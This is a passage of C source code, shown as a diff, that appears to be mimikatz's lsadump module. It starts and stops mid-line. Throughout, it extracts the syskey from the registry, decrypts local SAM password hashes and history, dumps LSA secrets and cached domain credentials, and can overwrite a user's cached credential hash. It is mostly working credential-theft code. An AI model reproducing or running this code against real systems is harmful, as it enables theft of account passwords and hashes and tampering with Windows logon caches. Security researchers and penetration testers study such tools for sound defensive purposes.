PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx (SAM)"); + } + kull_m_registry_RegCloseKey(hRegistry, hBase); + } + kull_m_registry_close(hRegistry); + } + } + return STATUS_SUCCESS; +} + +NTSTATUS kuhl_m_lsadump_secrets(int argc, wchar_t * argv[]) +{ + return kuhl_m_lsadump_secretsOrCache(argc, argv, TRUE); +} + +NTSTATUS kuhl_m_lsadump_cache(int argc, wchar_t * argv[]) +{ + return kuhl_m_lsadump_secretsOrCache(argc, argv, FALSE); +} + +NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsOrCache) +{ + HANDLE hDataSystem, hDataSecurity; + PKULL_M_REGISTRY_HANDLE hSystem, hSecurity; + HKEY hSystemBase, hSecurityBase; + BYTE sysKey[SYSKEY_LENGTH]; + LPCWSTR szSystem = NULL, szSecurity = NULL, szHash, szPassword, szSubject; + UNICODE_STRING uPassword; + KUHL_LSADUMP_DCC_CACHE_DATA cacheData = {0}; + + HCERTSTORE hCertStore = NULL; + PCCERT_CONTEXT pCertCtx; + BOOL toFree; + + if(!secretsOrCache) + { + if(kull_m_string_args_byName(argc, argv, L"user", &cacheData.username, NULL)) + { + kprintf(L"> User cache replace mode !\n"); + kprintf(L" * user : %s\n", cacheData.username); + + if(kull_m_string_args_byName(argc, argv, L"dcc", &szHash, NULL)) + { + if(cacheData.isDCC = kull_m_string_stringToHex(szHash, cacheData.dcc, LM_NTLM_HASH_LENGTH)) + { + kprintf(L" * dccX : "); + kull_m_string_wprintf_hex(cacheData.dcc, LM_NTLM_HASH_LENGTH, 0); + kprintf(L"\n"); + } + else PRINT_ERROR(L"DCC hash length must be 32 (16 bytes) - will use default password...\n"); + } + else + { + if(kull_m_string_args_byName(argc, argv, L"ntlm", &szHash, NULL)) + { + cacheData.isNtlm = kull_m_string_stringToHex(szHash, cacheData.ntlm, LM_NTLM_HASH_LENGTH); + if(!cacheData.isNtlm) + PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes) - will use default password...\n"); + } + if(!cacheData.isNtlm) + { + kull_m_string_args_byName(argc, argv, L"password", &szPassword, MIMIKATZ); + printf("Toto\n"); + printf("password: "); + kprintf(L"%s\n", szPassword); + RtlInitUnicodeString(&uPassword, szPassword); + cacheData.isNtlm = NT_SUCCESS(RtlDigestNTLM(&uPassword, cacheData.ntlm)); + } + if(cacheData.isNtlm) + { + kprintf(L" * ntlm : "); + kull_m_string_wprintf_hex(cacheData.ntlm, LM_NTLM_HASH_LENGTH, 0); + kprintf(L"\n"); + } + else cacheData.username = NULL; + } + kprintf(L"\n"); + } + else if(kull_m_string_args_byName(argc, argv, L"subject", &szSubject, NULL)) + { + if(hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, CERT_SYSTEM_STORE_CURRENT_USER | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My")) + { + if(pCertCtx = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szSubject, NULL)) + { + if(CryptAcquireCertificatePrivateKey(pCertCtx, 0, NULL, &cacheData.hProv, &cacheData.keySpec, &toFree)) + { + if(cacheData.keySpec == CERT_NCRYPT_KEY_SPEC) + { + PRINT_ERROR(L"CNG not supported yet\n"); + __try + { + if(toFree) + NCryptFreeObject(cacheData.hProv); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND) + { + PRINT_ERROR(L"keySpec == CERT_NCRYPT_KEY_SPEC without CNG Handle ?\n"); + } + cacheData.hProv = 0; + } + } + CertFreeCertificateContext(pCertCtx); + } + else PRINT_ERROR_AUTO(L"CertFindCertificateInStore"); + CertCloseStore(hCertStore, CERT_CLOSE_STORE_FORCE_FLAG); + } + else PRINT_ERROR_AUTO(L"CertOpenStore"); + } + } + + if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL)) + { + hDataSystem = CreateFile(szSystem, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if(hDataSystem != INVALID_HANDLE_VALUE) + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, FALSE, &hSystem)) + { + if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, NULL, sysKey)) + { + if(kull_m_string_args_byName(argc, argv, L"security", &szSecurity, NULL)) + { + hDataSecurity = CreateFile(szSecurity, GENERIC_READ | (cacheData.username ? GENERIC_WRITE : 0), 0, NULL, OPEN_EXISTING, 0, NULL); + if(hDataSecurity != INVALID_HANDLE_VALUE) + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSecurity, cacheData.username ? TRUE : FALSE, &hSecurity)) + { + kuhl_m_lsadump_getLsaKeyAndSecrets(hSecurity, NULL, hSystem, NULL, sysKey, secretsOrCache, &cacheData); + kull_m_registry_close(hSecurity); + } + CloseHandle(hDataSecurity); + } else PRINT_ERROR_AUTO(L"CreateFile (SECURITY hive)"); + } + } + kull_m_registry_close(hSystem); + } + CloseHandle(hDataSystem); + } else PRINT_ERROR_AUTO(L"CreateFile (SYSTEM hive)"); + } + else + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hSystem)) + { + if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hSystemBase)) + { + if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, hSystemBase, sysKey)) + { + if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SECURITY", 0, KEY_READ, &hSecurityBase)) + { + kuhl_m_lsadump_getLsaKeyAndSecrets(hSystem, hSecurityBase, hSystem, hSystemBase, sysKey, secretsOrCache, &cacheData); + kull_m_registry_RegCloseKey(hSystem, hSecurityBase); + } + else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx (SECURITY)"); + } + kull_m_registry_RegCloseKey(hSystem, hSystemBase); + } + kull_m_registry_close(hSystem); + } + } + if(cacheData.hProv && toFree) + CryptReleaseContext(cacheData.hProv, 0); + return STATUS_SUCCESS; +} + +const wchar_t * kuhl_m_lsadump_CONTROLSET_SOURCES[] = {L"Current", L"Default"}; +BOOL kuhl_m_lsadump_getCurrentControlSet(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hSystemBase, PHKEY phCurrentControlSet) +{ + BOOL status = FALSE; + HKEY hSelect; + DWORD i, szNeeded, controlSet; + + wchar_t currentControlSet[] = L"ControlSet000"; + + if(kull_m_registry_RegOpenKeyEx(hRegistry, hSystemBase, L"Select", 0, KEY_READ, &hSelect)) + { + for(i = 0; !status && (i < ARRAYSIZE(kuhl_m_lsadump_CONTROLSET_SOURCES)); i++) + { + szNeeded = sizeof(DWORD); + status = kull_m_registry_RegQueryValueEx(hRegistry, hSelect, kuhl_m_lsadump_CONTROLSET_SOURCES[i], NULL, NULL, (LPBYTE) &controlSet, &szNeeded); + } + + if(status) + { + status = FALSE; + if(swprintf_s(currentControlSet + 10, 4, L"%03u", controlSet) != -1) + status = kull_m_registry_RegOpenKeyEx(hRegistry, hSystemBase, currentControlSet, 0, KEY_READ, phCurrentControlSet); + } + kull_m_registry_RegCloseKey(hRegistry, hSelect); + } + return status; +} + +const wchar_t * kuhl_m_lsadump_SYSKEY_NAMES[] = {L"JD", L"Skew1", L"GBG", L"Data"}; +const BYTE kuhl_m_lsadump_SYSKEY_PERMUT[] = {11, 6, 7, 1, 8, 10, 14, 0, 3, 5, 2, 15, 13, 9, 12, 4}; +BOOL kuhl_m_lsadump_getSyskey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hLSA, LPBYTE sysKey) +{ + BOOL status = TRUE; + DWORD i; + HKEY hKey; + wchar_t buffer[8 + 1]; + DWORD szBuffer; + BYTE buffKey[SYSKEY_LENGTH]; + + for(i = 0 ; (i < ARRAYSIZE(kuhl_m_lsadump_SYSKEY_NAMES)) && status; i++) + { + status = FALSE; + if(kull_m_registry_RegOpenKeyEx(hRegistry, hLSA, kuhl_m_lsadump_SYSKEY_NAMES[i], 0, KEY_READ, &hKey)) + { + szBuffer = 8 + 1; + if(kull_m_registry_RegQueryInfoKey(hRegistry, hKey, buffer, &szBuffer, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) + status = swscanf_s(buffer, L"%x", (DWORD *) &buffKey[i*sizeof(DWORD)]) != -1; + kull_m_registry_RegCloseKey(hRegistry, hKey); + } + else PRINT_ERROR(L"LSA Key Class read error\n"); + } + + if(status) + for(i = 0; i < SYSKEY_LENGTH; i++) + sysKey[i] = buffKey[kuhl_m_lsadump_SYSKEY_PERMUT[i]]; + + return status; +} + +BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase, OUT LPBYTE sysKey) +{ + BOOL status = FALSE; + PVOID computerName; + HKEY hCurrentControlSet, hComputerNameOrLSA; + + if(kuhl_m_lsadump_getCurrentControlSet(hRegistry, hSystemBase, &hCurrentControlSet)) + { + kprintf(L"Domain : "); + if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hCurrentControlSet, L"Control\\ComputerName\\ComputerName", L"ComputerName", NULL, &computerName, NULL)) + { + kprintf(L"%s\n", computerName); + LocalFree(computerName); + } + + kprintf(L"SysKey : "); + if(kull_m_registry_RegOpenKeyEx(hRegistry, hCurrentControlSet, L"Control\\LSA", 0, KEY_READ, &hComputerNameOrLSA)) + { + if(status = kuhl_m_lsadump_getSyskey(hRegistry, hComputerNameOrLSA, sysKey)) + { + kull_m_string_wprintf_hex(sysKey, SYSKEY_LENGTH, 0); + kprintf(L"\n"); + } + else PRINT_ERROR(L"kuhl_m_lsadump_getSyskey KO\n"); + kull_m_registry_RegCloseKey(hRegistry, hComputerNameOrLSA); + } + else PRINT_ERROR(L"kull_m_registry_RegOpenKeyEx LSA KO\n"); + + kull_m_registry_RegCloseKey(hRegistry, hCurrentControlSet); + } + return status; +} + +BOOL kuhl_m_lsadump_getUsersAndSamKey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSAMBase, IN LPBYTE sysKey) +{ + BOOL status = FALSE; + BYTE samKey[SAM_KEY_DATA_KEY_LENGTH]; + wchar_t * user; + HKEY hAccount, hUsers; + DWORD i, nbSubKeys, szMaxSubKeyLen, szUser, rid; + PUSER_ACCOUNT_V pUAv; + LPVOID data; + + if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hSAMBase, L"SAM\\Domains\\Account", L"V", NULL, &data, &szUser)) + { + kprintf(L"Local SID : "); + kull_m_string_displaySID((PBYTE) data + szUser - (sizeof(SID) + sizeof(DWORD) * 3)); + kprintf(L"\n"); + LocalFree(data); + } + + if(kull_m_registry_RegOpenKeyEx(hRegistry, hSAMBase, L"SAM\\Domains\\Account", 0, KEY_READ, &hAccount)) + { + if(kuhl_m_lsadump_getSamKey(hRegistry, hAccount, sysKey, samKey)) + { + if(kull_m_registry_RegOpenKeyEx(hRegistry, hAccount, L"Users", 0, KEY_READ, &hUsers)) + { + if(status = kull_m_registry_RegQueryInfoKey(hRegistry, hUsers, NULL, NULL, NULL, &nbSubKeys, &szMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL)) + { + szMaxSubKeyLen++; + if(user = (wchar_t *) LocalAlloc(LPTR, (szMaxSubKeyLen + 1) * sizeof(wchar_t))) + { + for(i = 0; i < nbSubKeys; i++) + { + szUser = szMaxSubKeyLen; + if(kull_m_registry_RegEnumKeyEx(hRegistry, hUsers, i, user, &szUser, NULL, NULL, NULL, NULL)) + { + if(_wcsicmp(user, L"Names")) + { + if(swscanf_s(user, L"%x", &rid) != -1) + { + kprintf(L"\nRID : %08x (%u)\n", rid, rid); + if(status &= kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hUsers, user, L"V", NULL, (LPVOID *) &pUAv, NULL)) + { + kprintf(L"User : %.*s\n", pUAv->Username.lenght / sizeof(wchar_t), (wchar_t *) (pUAv->datas + pUAv->Username.offset)); + kuhl_m_lsadump_getHash(&pUAv->LMHash, pUAv->datas, samKey, rid, FALSE, FALSE); + kuhl_m_lsadump_getHash(&pUAv->NTLMHash, pUAv->datas, samKey, rid, TRUE, FALSE); + kuhl_m_lsadump_getHash(&pUAv->LMHistory, pUAv->datas, samKey, rid, FALSE, TRUE); + kuhl_m_lsadump_getHash(&pUAv->NTLMHistory, pUAv->datas, samKey, rid, TRUE, TRUE); + LocalFree(pUAv); + } + } + } + } + } + LocalFree(user); + } + } + kull_m_registry_RegCloseKey(hRegistry, hUsers); + } + } + else PRINT_ERROR(L"kuhl_m_lsadump_getSamKey KO\n"); + kull_m_registry_RegCloseKey(hRegistry, hAccount); + } + else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx SAM Accounts"); + + return status; +} + +const BYTE kuhl_m_lsadump_NTPASSWORD[] = "NTPASSWORD", + kuhl_m_lsadump_LMPASSWORD[] = "LMPASSWORD", + kuhl_m_lsadump_NTPASSWORDHISTORY[] = "NTPASSWORDHISTORY", + kuhl_m_lsadump_LMPASSWORDHISTORY[] = "LMPASSWORDHISTORY"; +BOOL kuhl_m_lsadump_getHash(PSAM_SENTRY pSamHash, LPCBYTE pStartOfData, LPCBYTE samKey, DWORD rid, BOOL isNtlm, BOOL isHistory) +{ + BOOL status = FALSE; + MD5_CTX md5ctx; + PSAM_HASH pHash = (PSAM_HASH) (pStartOfData + pSamHash->offset); + PSAM_HASH_AES pHashAes; + CRYPTO_BUFFER cypheredHashBuffer = {0, 0, NULL}, keyBuffer = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, md5ctx.digest}; + PVOID out; + DWORD len; + + if(pSamHash->offset) + { + switch(pHash->Revision) + { + case 1: + if(pSamHash->lenght >= sizeof(SAM_HASH)) + { + MD5Init(&md5ctx); + MD5Update(&md5ctx, samKey, SAM_KEY_DATA_KEY_LENGTH); + MD5Update(&md5ctx, &rid, sizeof(DWORD)); + MD5Update(&md5ctx, isNtlm ? (isHistory ? kuhl_m_lsadump_NTPASSWORDHISTORY : kuhl_m_lsadump_NTPASSWORD) : (isHistory ? kuhl_m_lsadump_LMPASSWORDHISTORY : kuhl_m_lsadump_LMPASSWORD), isNtlm ? (isHistory ? sizeof(kuhl_m_lsadump_NTPASSWORDHISTORY) : sizeof(kuhl_m_lsadump_NTPASSWORD)) : (isHistory ? sizeof(kuhl_m_lsadump_LMPASSWORDHISTORY) : sizeof(kuhl_m_lsadump_LMPASSWORD))); + MD5Final(&md5ctx); + cypheredHashBuffer.Length = cypheredHashBuffer.MaximumLength = pSamHash->lenght - FIELD_OFFSET(SAM_HASH, data); + if(cypheredHashBuffer.Buffer = (PBYTE) LocalAlloc(LPTR, cypheredHashBuffer.Length)) + { + RtlCopyMemory(cypheredHashBuffer.Buffer, pHash->data, cypheredHashBuffer.Length); + if(!(status = NT_SUCCESS(RtlEncryptDecryptRC4(&cypheredHashBuffer, &keyBuffer)))) + PRINT_ERROR(L"RtlEncryptDecryptRC4\n"); + } + } + break; + case 2: + pHashAes = (PSAM_HASH_AES) pHash; + if(pHashAes->dataOffset >= SAM_KEY_DATA_SALT_LENGTH) + { + if(kull_m_crypto_genericAES128Decrypt(samKey, pHashAes->Salt, pHashAes->data, pSamHash->lenght - FIELD_OFFSET(SAM_HASH_AES, data), &out, &len)) + { + cypheredHashBuffer.Length = cypheredHashBuffer.MaximumLength = len; + if(cypheredHashBuffer.Buffer = (PBYTE) LocalAlloc(LPTR, cypheredHashBuffer.Length)) + { + RtlCopyMemory(cypheredHashBuffer.Buffer, out, len); + status = TRUE; + } + LocalFree(out); + } + } + break; + default: + PRINT_ERROR(L"Unknow SAM_HASH revision (%hu)\n", pHash->Revision); + } + if(status) + kuhl_m_lsadump_dcsync_decrypt(cypheredHashBuffer.Buffer, cypheredHashBuffer.Length, rid, isNtlm ? (isHistory ? L"ntlm" : L"NTLM" ) : (isHistory ? L"lm " : L"LM "), isHistory); + if(cypheredHashBuffer.Buffer) + LocalFree(cypheredHashBuffer.Buffer); + } + return status; +} + +const BYTE kuhl_m_lsadump_qwertyuiopazxc[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"; +const BYTE kuhl_m_lsadump_01234567890123[] = "0123456789012345678901234567890123456789"; +BOOL kuhl_m_lsadump_getSamKey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hAccount, LPCBYTE sysKey, LPBYTE samKey) +{ + BOOL status = FALSE; + PDOMAIN_ACCOUNT_F pDomAccF; + MD5_CTX md5ctx; + CRYPTO_BUFFER data = {SAM_KEY_DATA_KEY_LENGTH, SAM_KEY_DATA_KEY_LENGTH, samKey}, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, md5ctx.digest}; + PSAM_KEY_DATA_AES pAesKey; + PVOID out; + DWORD len; + + kprintf(L"\nSAMKey : "); + if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hAccount, NULL, L"F", NULL, (LPVOID *) &pDomAccF, NULL)) + { + switch(pDomAccF->Revision) + { + case 2: + if(pDomAccF->keys1.Revision == 1) + { + MD5Init(&md5ctx); + MD5Update(&md5ctx, pDomAccF->keys1.Salt, SAM_KEY_DATA_SALT_LENGTH); + MD5Update(&md5ctx, kuhl_m_lsadump_qwertyuiopazxc, sizeof(kuhl_m_lsadump_qwertyuiopazxc)); + MD5Update(&md5ctx, sysKey, SYSKEY_LENGTH); + MD5Update(&md5ctx, kuhl_m_lsadump_01234567890123, sizeof(kuhl_m_lsadump_01234567890123)); + MD5Final(&md5ctx); + RtlCopyMemory(samKey, pDomAccF->keys1.Key, SAM_KEY_DATA_KEY_LENGTH); + if(!(status = NT_SUCCESS(RtlEncryptDecryptRC4(&data, &key)))) + PRINT_ERROR(L"RtlEncryptDecryptRC4 KO"); + } + else PRINT_ERROR(L"Unknow Classic Struct Key revision (%u)", pDomAccF->keys1.Revision); + break; + case 3: + pAesKey = (PSAM_KEY_DATA_AES) &pDomAccF->keys1; + if(pAesKey->Revision == 2) + { + pAesKey = (PSAM_KEY_DATA_AES) &pDomAccF->keys1; + if(kull_m_crypto_genericAES128Decrypt(sysKey, pAesKey->Salt, pAesKey->data, pAesKey->DataLen, &out, &len)) + { + if(status = (len == SAM_KEY_DATA_KEY_LENGTH)) + RtlCopyMemory(samKey, out, SAM_KEY_DATA_KEY_LENGTH); + LocalFree(out); + } + } + else PRINT_ERROR(L"Unknow Struct Key revision (%u)", pDomAccF->keys1.Revision); + break; + default: + PRINT_ERROR(L"Unknow F revision (%hu)", pDomAccF->Revision); + } + LocalFree(pDomAccF); + } + else PRINT_ERROR(L"kull_m_registry_OpenAndQueryWithAlloc KO"); + + if(status) + kull_m_string_wprintf_hex(samKey, LM_NTLM_HASH_LENGTH, 0); + + kprintf(L"\n"); + return status; +} + +BOOL kuhl_m_lsadump_getSids(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN LPCWSTR littleKey, IN LPCWSTR prefix) +{ + BOOL status = FALSE; + wchar_t name[] = L"Pol__DmN", sid[] = L"Pol__DmS"; + PVOID buffer; + LSA_UNICODE_STRING uString = {0, 0, NULL}; + + RtlCopyMemory(&name[3], littleKey, 2*sizeof(wchar_t)); + RtlCopyMemory(&sid[3], littleKey, 2*sizeof(wchar_t)); + kprintf(L"%s name : ", prefix); + if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicyBase, name, NULL, NULL, &buffer, NULL)) + { + uString.Length = ((PUSHORT) buffer)[0]; + uString.MaximumLength = ((PUSHORT) buffer)[1]; + uString.Buffer = (PWSTR) ((PBYTE) buffer + *(PDWORD) ((PBYTE) buffer + 2*sizeof(USHORT))); + kprintf(L"%wZ", &uString); + LocalFree(buffer); + } + if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicyBase, sid, NULL, NULL, &buffer, NULL)) + { + kprintf(L" ( "); + kull_m_string_displaySID((PSID) buffer); + kprintf(L" )"); + LocalFree(buffer); + } + kprintf(L"\n"); + return status; +} + +BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecurityBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN LPBYTE sysKey, IN BOOL secretsOrCache, IN PKUHL_LSADUMP_DCC_CACHE_DATA pCacheData) +{ + BOOL status = FALSE; + HKEY hPolicy; + PPOL_REVISION pPolRevision; + DWORD szNeeded, i, offset; + LPVOID buffer; + MD5_CTX md5ctx; + CRYPTO_BUFFER data = {3 * sizeof(NT5_SYSTEM_KEY), 3 * sizeof(NT5_SYSTEM_KEY), NULL}, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, md5ctx.digest}; + PNT6_SYSTEM_KEYS nt6keysStream = NULL; + PNT6_SYSTEM_KEY nt6key; + PNT5_SYSTEM_KEY nt5key = NULL; + LSA_UNICODE_STRING uString = {0, 0, NULL}; + + if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Policy", 0, KEY_READ, &hPolicy)) + { + kprintf(L"\n"); + kuhl_m_lsadump_getSids(hSecurity, hPolicy, L"Ac", L"Local"); + kuhl_m_lsadump_getSids(hSecurity, hPolicy, L"Pr", L"Domain"); + + if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicy, L"PolDnDDN", NULL, NULL, &buffer, NULL)) + { + uString.Length = ((PUSHORT) buffer)[0]; + uString.MaximumLength = ((PUSHORT) buffer)[1]; + uString.Buffer = (PWSTR) ((PBYTE) buffer + *(PDWORD) ((PBYTE) buffer + 2*sizeof(USHORT))); + kprintf(L"Domain FQDN : %wZ\n", &uString); + LocalFree(buffer); + } + + if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicy, L"PolRevision", NULL, NULL, (LPVOID *) &pPolRevision, NULL)) + { + kprintf(L"\nPolicy subsystem is : %hu.%hu\n", pPolRevision->Major, pPolRevision->Minor); + if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicy, (pPolRevision->Minor > 9) ? L"PolEKList" : L"PolSecretEncryptionKey", NULL, NULL, &buffer, &szNeeded)) + { + if(pPolRevision->Minor > 9) // NT 6 + { + if(kuhl_m_lsadump_sec_aes256((PNT6_HARD_SECRET) buffer, szNeeded, NULL, sysKey)) + { + if(nt6keysStream = (PNT6_SYSTEM_KEYS) LocalAlloc(LPTR, ((PNT6_HARD_SECRET) buffer)->clearSecret.SecretSize)) + { + RtlCopyMemory(nt6keysStream, ((PNT6_HARD_SECRET) buffer)->clearSecret.Secret, ((PNT6_HARD_SECRET) buffer)->clearSecret.SecretSize); + kprintf(L"LSA Key(s) : %u, default ", nt6keysStream->nbKeys); kull_m_string_displayGUID(&nt6keysStream->CurrentKeyID); kprintf(L"\n"); + for(i = 0, offset = 0; i < nt6keysStream->nbKeys; i++, offset += FIELD_OFFSET(NT6_SYSTEM_KEY, Key) + nt6key->KeySize) + { + nt6key = (PNT6_SYSTEM_KEY) ((PBYTE) nt6keysStream->Keys + offset); + kprintf(L" [%02u] ", i); kull_m_string_displayGUID(&nt6key->KeyId); kprintf(L" "); kull_m_string_wprintf_hex(nt6key->Key, nt6key->KeySize, 0); kprintf(L"\n"); + } + } + } + } + else // NT 5 + { + MD5Init(&md5ctx); + MD5Update(&md5ctx, sysKey, SYSKEY_LENGTH); + for(i = 0; i < 1000; i++) + MD5Update(&md5ctx, ((PNT5_SYSTEM_KEYS) buffer)->lazyiv, LAZY_IV_SIZE); + MD5Final(&md5ctx); + data.Buffer = (PBYTE) ((PNT5_SYSTEM_KEYS) buffer)->keys; + if(NT_SUCCESS(RtlEncryptDecryptRC4(&data, &key))) + { + if(nt5key = (PNT5_SYSTEM_KEY) LocalAlloc(LPTR, sizeof(NT5_SYSTEM_KEY))) + { + RtlCopyMemory(nt5key->key, ((PNT5_SYSTEM_KEYS) buffer)->keys[1].key, sizeof(NT5_SYSTEM_KEY)); + kprintf(L"LSA Key : "); + kull_m_string_wprintf_hex(nt5key->key, sizeof(NT5_SYSTEM_KEY), 0); + kprintf(L"\n"); + } + } + } + LocalFree(buffer); + } + LocalFree(pPolRevision); + } + + if(nt6keysStream || nt5key) + { + if(secretsOrCache) + kuhl_m_lsadump_getSecrets(hSecurity, hPolicy, hSystem, hSystemBase, nt6keysStream, nt5key); + else + kuhl_m_lsadump_getNLKMSecretAndCache(hSecurity, hPolicy, hSecurityBase, nt6keysStream, nt5key, pCacheData); + } + kull_m_registry_RegCloseKey(hSecurity, hPolicy); + } + + if(nt6keysStream) + LocalFree(nt6keysStream); + if(nt5key) + LocalFree(nt5key); + + return status; +} + +BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique) +{ + BOOL status = FALSE; + HKEY hSecrets, hSecret, hCurrentControlSet, hServiceBase; + DWORD i, nbSubKeys, szMaxSubKeyLen, szSecretName, szSecret; + PVOID pSecret; + wchar_t * secretName; + + if(kull_m_registry_RegOpenKeyEx(hSecurity, hPolicyBase, L"Secrets", 0, KEY_READ, &hSecrets)) + { + if(kuhl_m_lsadump_getCurrentControlSet(hSystem, hSystemBase, &hCurrentControlSet)) + { + if(kull_m_registry_RegOpenKeyEx(hSystem, hCurrentControlSet, L"services", 0, KEY_READ, &hServiceBase)) + { + if(kull_m_registry_RegQueryInfoKey(hSecurity, hSecrets, NULL, NULL, NULL, &nbSubKeys, &szMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL)) + { + szMaxSubKeyLen++; + if(secretName = (wchar_t *) LocalAlloc(LPTR, (szMaxSubKeyLen + 1) * sizeof(wchar_t))) + { + for(i = 0; i < nbSubKeys; i++) + { + szSecretName = szMaxSubKeyLen; + if(kull_m_registry_RegEnumKeyEx(hSecurity, hSecrets, i, secretName, &szSecretName, NULL, NULL, NULL, NULL)) + { + kprintf(L"\nSecret : %s", secretName); + + if(_wcsnicmp(secretName, L"_SC_", 4) == 0) + kuhl_m_lsadump_getInfosFromServiceName(hSystem, hServiceBase, secretName + 4); + + if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecrets, secretName, 0, KEY_READ, &hSecret)) + { + if(kuhl_m_lsadump_decryptSecret(hSecurity, hSecret, L"CurrVal", lsaKeysStream, lsaKeyUnique, &pSecret, &szSecret)) + { + kuhl_m_lsadump_candidateSecret(szSecret, pSecret, L"\ncur/", secretName); + LocalFree(pSecret); + } + if(kuhl_m_lsadump_decryptSecret(hSecurity, hSecret, L"OldVal", lsaKeysStream, lsaKeyUnique, &pSecret, &szSecret)) + { + kuhl_m_lsadump_candidateSecret(szSecret, pSecret, L"\nold/", secretName); + LocalFree(pSecret); + } + kull_m_registry_RegCloseKey(hSecurity, hSecret); + } + kprintf(L"\n"); + } + } + LocalFree(secretName); + } + } + kull_m_registry_RegCloseKey(hSystem, hServiceBase); + } + kull_m_registry_RegCloseKey(hSystem, hCurrentControlSet); + } + kull_m_registry_RegCloseKey(hSecurity, hSecrets); + } + return status; +} + +BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, IN PKUHL_LSADUMP_DCC_CACHE_DATA pCacheData) +{ + BOOL status = FALSE, hashStatus; + HKEY hCache; + DWORD i, iter = 10240, szNLKM, type, nbValues, szMaxValueNameLen, szMaxValueLen, szSecretName, szSecret, szNeeded, s1; + PVOID pNLKM; + wchar_t * secretName; + PMSCACHE_ENTRY pMsCacheEntry; + NTSTATUS nStatus; + BYTE digest[MD5_DIGEST_LENGTH]; + CRYPTO_BUFFER data, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, digest}; + LSA_UNICODE_STRING usr; + + + if(kuhl_m_lsadump_decryptSecret(hSecurity, hPolicyBase, L"Secrets\\NL$KM\\CurrVal", lsaKeysStream, lsaKeyUnique, &pNLKM, &szNLKM)) + { + if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Cache", 0, KEY_READ | (pCacheData ? (pCacheData->username ? KEY_WRITE : 0) : 0), &hCache)) + { + if(lsaKeysStream) + { + kprintf(L"\n"); + if(kull_m_registry_RegQueryValueEx(hSecurity, hCache, L"NL$IterationCount", NULL, NULL, (LPBYTE) &i, &szNeeded)) + { + iter = (i > 10240) ? (i & ~0x3ff) : (i << 10); + kprintf(L"* NL$IterationCount is %u, %u real iteration(s)\n", i, iter); + if(!i) + kprintf(L"* DCC1 mode !\n"); + } + else kprintf(L"* Iteration is set to default (10240)\n"); + } + + if(kull_m_registry_RegQueryInfoKey(hSecurity, hCache, NULL, NULL, NULL, NULL, NULL, NULL, &nbValues, &szMaxValueNameLen, &szMaxValueLen, NULL, NULL)) + { + szMaxValueNameLen++; + if(secretName = (wchar_t *) LocalAlloc(LPTR, (szMaxValueNameLen + 1) * sizeof(wchar_t))) + { + if(pMsCacheEntry = (PMSCACHE_ENTRY) LocalAlloc(LPTR, szMaxValueLen)) + { + for(i = 0; i < nbValues; i++) + { + szSecretName = szMaxValueNameLen; + szSecret = szMaxValueLen; + if(kull_m_registry_RegEnumValue(hSecurity, hCache, i, secretName, &szSecretName, NULL, &type, (LPBYTE) 